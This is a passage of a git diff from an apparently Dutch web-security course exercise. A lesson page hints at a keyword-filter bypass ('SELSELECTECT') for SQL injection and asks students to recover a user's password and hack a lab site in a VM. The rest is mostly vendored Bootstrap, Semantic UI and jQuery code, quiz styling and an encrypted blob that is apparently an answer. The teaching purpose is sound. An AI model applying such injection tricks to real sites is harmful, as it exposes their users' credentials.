de invoer gefilterd.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> SELSELECTECT</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
|
||||
</div>
|
||||
|
||||
<h2>Wereldwijs</h2>
|
||||
|
||||
<p>Ga in de VM naar de
|
||||
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft
|
||||
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
|
||||
|
||||
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
|
||||
@@ -0,0 +1,9 @@
|
||||
/*!
|
||||
* Bootstrap Responsive v2.3.2
|
||||
*
|
||||
* Copyright 2013 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world by @mdo and @fat.
|
||||
*/.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}@-ms-viewport{width:device-width}.hidden{display:none;visibility:hidden}.visible-phone{display:none!important}.visible-tablet{display:none!important}.hidden-desktop{display:none!important}.visible-desktop{display:inherit!important}@media(min-width:768px) and (max-width:979px){.hidden-desktop{display:inherit!important}.visible-desktop{display:none!important}.visible-tablet{display:inherit!important}.hidden-tablet{display:none!important}}@media(max-width:767px){.hidden-desktop{display:inherit!important}.visible-desktop{display:none!important}.visible-phone{display:inherit!important}.hidden-phone{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:inherit!important}.hidden-print{display:none!important}}@media(min-width:1200px){.row{margin-left:-30px;*zoom:1}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:1170px}.span12{width:1170px}.span11{width:1070px}.span10{width:970px}.span9{width:870px}.span8{width:770px}.span7{width:670px}.span6{width:570px}.span5{width:470px}.span4{width:370px}.span3{width:270px}.span2{width:170px}.span1{width:70px}.offset12{margin-left:1230px}.offset11{margin-left:1130px}.offset10{margin-left:1030px}.offset9{margin-left:930px}.offset8{margin-left:830px}.offset7{margin-left:730px}.offset6{margin-left:630px}.offset5{margin-left:530px}.offset4{margin-left:430px}.offset3{margin-left:330px}.offset2{margin-left:230px}.offset1{margin-left:130px}.row-fluid{width:100%;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;line-height:0;content:""}.row-fluid:after{clear:both}.row-fluid [class*="span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.564102564102564%;*margin-left:2.5109110747408616%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.row-fluid [class*="span"]:first-child{margin-left:0}.row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.564102564102564%}.row-fluid .span12{width:100%;*width:99.94680851063829%}.row-fluid .span11{width:91.45299145299145%;*width:91.39979996362975%}.row-fluid .span10{width:82.90598290598291%;*width:82.8527914166212%}.row-fluid .span9{width:74.35897435897436%;*width:74.30578286961266%}.row-fluid .span8{width:65.81196581196582%;*width:65.75877432260411%}.row-fluid .span7{width:57.26495726495726%;*width:57.21176577559556%}.row-fluid .span6{width:48.717948717948715%;*width:48.664757228587014%}.row-fluid .span5{width:40.17094017094017%;*width:40.11774868157847%}.row-fluid .span4{width:31.623931623931625%;*width:31.570740134569924%}.row-fluid .span3{width:23.076923076923077%;*width:23.023731587561375%}.row-fluid .span2{width:14.52991452991453%;*width:14.476723040552828%}.row-fluid .span1{width:5.982905982905983%;*width:5.929714493544281%}.row-fluid .offset12{margin-left:105.12820512820512%;*margin-left:105.02182214948171%}.row-fluid .offset12:first-child{margin-left:102.56410256410257%;*margin-left:102.45771958537915%}.row-fluid .offset11{margin-left:96.58119658119658%;*margin-left:96.47481360247316%}.row-fluid .offset11:first-child{margin-left:94.01709401709402%;*margin-left:93.91071103837061%}.row-fluid .offset10{margin-left:88.03418803418803%;*margin-left:87.92780505546462%}.row-fluid .offset10:first-child{margin-left:85.47008547008548%;*margin-left:85.36370249136206%}.row-fluid .offset9{margin-left:79.48717948717949%;*margin-left:79.38079650845607%}.row-fluid .offset9:first-child{margin-left:76.92307692307693%;*margin-left:76.81669394435352%}.row-fluid .offset8{margin-left:70.94017094017094%;*margin-left:70.83378796144753%}.row-fluid .offset8:first-child{margin-left:68.37606837606839%;*margin-left:68.26968539734497%}.row-fluid .offset7{margin-left:62.393162393162385%;*margin-left:62.28677941443899%}.row-fluid .offset7:first-child{margin-left:59.82905982905982%;*margin-left:59.72267685033642%}.row-fluid .offset6{margin-left:53.84615384615384%;*margin-left:53.739770867430444%}.row-fluid .offset6:first-child{margin-left:51.28205128205128%;*margin-left:51.175668303327875%}.row-fluid .offset5{margin-left:45.299145299145295%;*margin-left:45.1927623204219%}.row-fluid .offset5:first-child{margin-left:42.73504273504273%;*margin-left:42.62865975631933%}.row-fluid .offset4{margin-left:36.75213675213675%;*margin-left:36.645753773413354%}.row-fluid .offset4:first-child{margin-left:34.18803418803419%;*margin-left:34.081651209310785%}.row-fluid .offset3{margin-left:28.205128205128204%;*margin-left:28.09874522640Line truncated
|
||||
@@ -0,0 +1,9 @@
|
||||
/*!
|
||||
* Bootstrap v2.3.2
|
||||
*
|
||||
* Copyright 2013 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world by @mdo and @fat.
|
||||
*/.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio,canvas,video{display:inline-block;*display:inline;*zoom:1}audio:not([controls]){display:none}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{width:auto\9;height:auto;max-width:100%;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}#map_canvas img,.google-maps img{max-width:none}button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle}button,input{*overflow:visible;line-height:normal}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}button,html input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button}label,select,button,input[type="button"],input[type="reset"],input[type="submit"],input[type="radio"],input[type="checkbox"]{cursor:pointer}input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}textarea{overflow:auto;vertical-align:top}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}.ir a:after,a[href^="javascript:"]:after,a[href^="#"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%!important}@page{margin:.5cm}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333;background-color:#fff}a{color:#08c;text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.1);box-shadow:0 1px 3px rgba(0,0,0,0.1)}.img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px}.row{margin-left:-20px;*zoom:1}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:940px}.span12{width:940px}.span11{width:860px}.span10{width:780px}.span9{width:700px}.span8{width:620px}.span7{width:540px}.span6{width:460px}.span5{width:380px}.span4{width:300px}.span3{width:220px}.span2{width:140px}.span1{width:60px}.offset12{margin-left:980px}.offset11{margin-left:900px}.offset10{margin-left:820px}.offset9{margin-left:740px}.offset8{margin-left:660px}.offset7{margin-left:580px}.offset6{margin-left:500px}.offset5{margin-left:420px}.offset4{margin-left:340px}.offset3{margin-left:260px}.offset2{margin-left:180px}.offset1{margin-left:100px}.row-fluid{width:100%;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;line-height:0;content:""}.row-fluid:after{clear:both}.row-fluid [class*="span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.row-fluid [class*="span"]:first-child{margin-left:0}.row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.127659574468085%}.row-fluid .span12{width:100%;*width:99.94680851063829%}.row-fluid .span11{width:91.48936170212765%;*width:91.43617021276594%}.row-fluid .span10{width:82.97872340425532%;*width:82.92553191489361%}.row-fluid .span9{width:74.46808510638297%;*width:74.41489361702126%}.row-fluid .span8{width:65.95744680851064%;*width:65.90425531914893%}.row-fluid .span7{width:57.44680851063829%;*width:57.39361702127659%}.row-fluid .span6{width:48.93617021276595%;*width:48.88297872340425%}.row-fluid .span5{width:40.42553191489362%;*width:40.37234042553192%}.row-fluid .span4{width:31.914893617021278%;*width:31.861702127659576%}.row-fluid .span3{width:23.404255319148934%;*width:23.351063829787233%}.row-fluid .span2{width:14.893617021276595%;*width:14.84042553Line truncated
|
||||
@@ -0,0 +1,11 @@
|
||||
/*
|
||||
* # Semantic UI - 1.8.1
|
||||
* https://github.com/Semantic-Org/Semantic-UI
|
||||
* http://www.semantic-ui.com/
|
||||
*
|
||||
* Copyright 2014 Contributors
|
||||
* Released under the MIT license
|
||||
* http://opensource.org/licenses/MIT
|
||||
*
|
||||
*/
|
||||
@import 'https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic&subset=latin';*,:after,:before{box-sizing:inherit}html{box-sizing:border-box}input[type=text],input[type=email],input[type=search],input[type=password]{-webkit-appearance:none;-moz-appearance:none}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:0 0}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}body,html{height:100%}html{font-size:14px}body{margin:0;padding:0;min-width:278px;background:#f7f7f7;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:14px;line-height:1.33;color:rgba(0,0,0,.8);font-smoothing:antialiased}h1,h2,h3,h4,h5{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;line-height:1.33em;margin:-webkit-calc(2rem - .165em) 0 1rem;margin:calc(2rem - .165em) 0 1rem;font-weight:700;padding:0}h1{min-height:1rem;font-size:2rem}h2{font-size:1.714rem}h3{font-size:1.28rem}h4{font-size:1.071rem}h5{font-size:1rem}p{margin:0 0 1em;line-height:1.33}p:first-child{margin-top:0}p:last-child{margin-bottom:0}a{color:#009fda;text-decoration:none}a:hover{color:#00b2f3}::-webkit-selection{background-color:#cce2ff;color:rgba(0,0,0,.8)}::-moz-selection{background-color:#cce2ff;color:rgba(0,0,0,.8)}::selection{background-color:#cce2ff;color:rgba(0,0,0,.8)}input::-webkit-selection,textarea::-webkit-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.8)}input::-moz-selection,textarea::-moz-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.8)}input::selection,textarea::selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.8)}.ui.button{cursor:pointer;display:inline-block;min-height:1em;outline:0;border:none;vertical-align:baseline;background-color:#e0e0e0;color:rgba(0,0,0,.6);font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;margin:0 .25em 0 0;padding:.78571em 1.5em;text-transform:none;text-shadow:none;font-weight:700;line-height:1;font-style:normal;text-align:center;text-decoration:none;background-image:none;border-radius:.2857rem;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(39,41,43,.15) inset;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;will-change:'';-webkit-tap-highlight-color:transparent}.ui.button:hover{background-color:#e8e8e8;background-image:none;box-shadow:'';color:rgba(0,0,0,.8)}.ui.button:hover .icon{opacity:.85}.ui.button:focus{background-color:'';color:rgba(0,0,0,.8);background-image:''!important;box-shadow:0 0 0 1px transparent inset,0 0 1px rgba(81,167,232,.8) inset,0 0 3px 2px rgba(81,167,232,.8)!important}.ui.button:focus .icon{opacity:.85}.ui.active.button:active,.ui.button:active{background-color:#ccc;background-image:'';color:rgba(0,0,0,.8);box-shadow:0 0 0 1px transparent inset,0 1px 4px 0 rgba(39,41,43,.15) inset}.ui.active.button{background-color:#d0d0d0;background-image:none;box-shadow:0 0 0 1px transparent inset;color:rgba(0,0,0,.8)}.ui.active.button:hover{background-color:#d0d0d0;background-image:none;color:rgba(0,0,0,.8)}.ui.active.button:active{background-color:#d0d0d0;background-image:none}.ui.loading.loading.loading.loading.loLine truncated
|
||||
@@ -0,0 +1,85 @@
|
||||
.url {
|
||||
color: #000088;
|
||||
font-family: Courier;
|
||||
}
|
||||
figcaption {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
figure img {
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
@media (min-width: 767px) {
|
||||
#menu {
|
||||
position: fixed;
|
||||
}
|
||||
}
|
||||
|
||||
#difficulty {
|
||||
width: 150px;
|
||||
}
|
||||
|
||||
.screenshot {
|
||||
box-shadow: 0 0 10px #888;
|
||||
border: 1px solid #aaa;
|
||||
border-radius: 7px;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #e8eef7;
|
||||
padding: 2em;
|
||||
}
|
||||
|
||||
#quiz {
|
||||
padding: 1em;
|
||||
background-color: white;
|
||||
border: 1px solid #ccc;
|
||||
}
|
||||
|
||||
.question {
|
||||
padding: 1em;
|
||||
margin: 2em;
|
||||
border-left: 3px solid darkorange;
|
||||
}
|
||||
|
||||
.question-string {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.center-block {
|
||||
display: block;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
textarea {
|
||||
width: 75%;
|
||||
height: 9em;
|
||||
}
|
||||
|
||||
input {
|
||||
width: 75%;
|
||||
}
|
||||
|
||||
code.terminal {
|
||||
background-color: black;
|
||||
color: white;
|
||||
font-family: Courier, monospace;
|
||||
padding: 1em;
|
||||
margin: 1em;
|
||||
display: block;
|
||||
white-space: normal;
|
||||
}
|
||||
|
||||
.argument {
|
||||
font-family: Courier, monospace;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.website{
|
||||
font-style: italic;
|
||||
font-variant: small-caps;
|
||||
color:dodgerblue;
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
U2FsdGVkX191ur0pmvNcmrnlem8L5S6NuQUEAurl+aSZzKQirnAfoDAf/QWYWwOx
|
||||
w4wCKOGIJ9jxFrAJwqJjaA==
|
||||
|
After Width: | Height: | Size: 81 KiB |
|
After Width: | Height: | Size: 136 KiB |
|
After Width: | Height: | Size: 69 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 55 KiB |
|
After Width: | Height: | Size: 65 KiB |
|
After Width: | Height: | Size: 31 KiB |
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 27 KiB |
|
After Width: | Height: | Size: 128 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 30 KiB |
|
After Width: | Height: | Size: 232 KiB |
|
After Width: | Height: | Size: 70 KiB |
|
After Width: | Height: | Size: 122 KiB |
|
After Width: | Height: | Size: 37 KiB |
|
After Width: | Height: | Size: 39 KiB |
|
After Width: | Height: | Size: 35 KiB |
|
After Width: | Height: | Size: 13 KiB |
|
After Width: | Height: | Size: 673 B |
|
After Width: | Height: | Size: 13 KiB |
|
After Width: | Height: | Size: 90 KiB |
|
After Width: | Height: | Size: 49 KiB |
|
After Width: | Height: | Size: 126 KiB |
|
After Width: | Height: | Size: 63 KiB |
|
After Width: | Height: | Size: 108 KiB |
|
After Width: | Height: | Size: 58 KiB |
|
After Width: | Height: | Size: 141 KiB |
|
After Width: | Height: | Size: 78 KiB |
|
After Width: | Height: | Size: 88 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 73 KiB |
|
After Width: | Height: | Size: 77 KiB |
|
After Width: | Height: | Size: 156 KiB |
|
After Width: | Height: | Size: 105 KiB |
|
After Width: | Height: | Size: 54 KiB |
|
After Width: | Height: | Size: 456 KiB |
|
After Width: | Height: | Size: 126 KiB |
|
After Width: | Height: | Size: 20 KiB |
|
After Width: | Height: | Size: 23 KiB |
|
After Width: | Height: | Size: 33 KiB |
|
After Width: | Height: | Size: 50 KiB |
|
After Width: | Height: | Size: 40 KiB |
|
After Width: | Height: | Size: 71 KiB |
|
After Width: | Height: | Size: 62 KiB |
|
After Width: | Height: | Size: 21 KiB |
|
After Width: | Height: | Size: 127 KiB |
|
After Width: | Height: | Size: 136 KiB |
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 113 KiB |
|
After Width: | Height: | Size: 114 KiB |
|
After Width: | Height: | Size: 179 KiB |
@@ -0,0 +1,4 @@
|
||||
/*! jQuery v2.1.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
|
||||
!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="".trim,l={},m=a.document,n="2.1.0",o=function(a,b){return new o.fn.init(a,b)},p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};o.fn=o.prototype={jquery:n,constructor:o,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=o.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return o.each(this,a,b)},map:function(a){return this.pushStack(o.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},o.extend=o.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||o.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(o.isPlainObject(d)||(e=o.isArray(d)))?(e?(e=!1,f=c&&o.isArray(c)?c:[]):f=c&&o.isPlainObject(c)?c:{},g[b]=o.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},o.extend({expando:"jQuery"+(n+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===o.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isPlainObject:function(a){if("object"!==o.type(a)||a.nodeType||o.isWindow(a))return!1;try{if(a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(b){return!1}return!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=o.trim(a),a&&(1===a.indexOf("use strict")?(b=m.createElement("script"),b.text=a,m.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":k.call(a)},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?o.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),o.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||o.guid++,f):void 0},now:Date.now,support:l}),o.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=o.type(a);return"function"===c||o.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s="sizzle"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A="undefined",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",M=L.replace("w","w#"),N="\\["+K+"*("+L+")"+K+"*(?:([*^$|!~]?=)"+K+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+M+")|)|)"+K+"*\\]",O=":("+L+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+N.replace(3,8)+")*)|.*)\\)|)",P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*")Line truncated
|
||||
while(c--)d=g[c].name,0===d.indexOf("data-")&&(d=o.camelCase(d.slice(5)),P(f,d,e[d]));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=o.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),o.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||o.isArray(c)?d=L.access(a,b,o.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=o.queue(a,b),d=c.length,e=c.shift(),f=o._queueHooks(a,b),g=function(){o.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:o.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),o.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?o.queue(this[0],a):void 0===b?this:this.each(function(){var c=o.queue(this,a,b);o._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&o.dequeue(this,a)})},dequeue:function(a){return this.each(function(){o.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=o.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=L.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var Q=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,R=["Top","Right","Bottom","Left"],S=function(a,b){return a=b||a,"none"===o.css(a,"display")||!o.contains(a.ownerDocument,a)},T=/^(?:checkbox|radio)$/i;!function(){var a=m.createDocumentFragment(),b=a.appendChild(m.createElement("div"));b.innerHTML="<input type='radio' checked='checked' name='t'/>",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";l.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return m.activeElement}catch(a){}}o.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=o.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof o!==U&&o.event.triggered!==b.type?o.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],n=q=h[1],p=(h[2]||"").split(".").sort(),n&&(l=o.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=o.event.special[n]||{},k=o.extend({type:n,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&o.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(n,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),o.event.global[n]=!0)}},remove:function(a,b,c,d,e){var 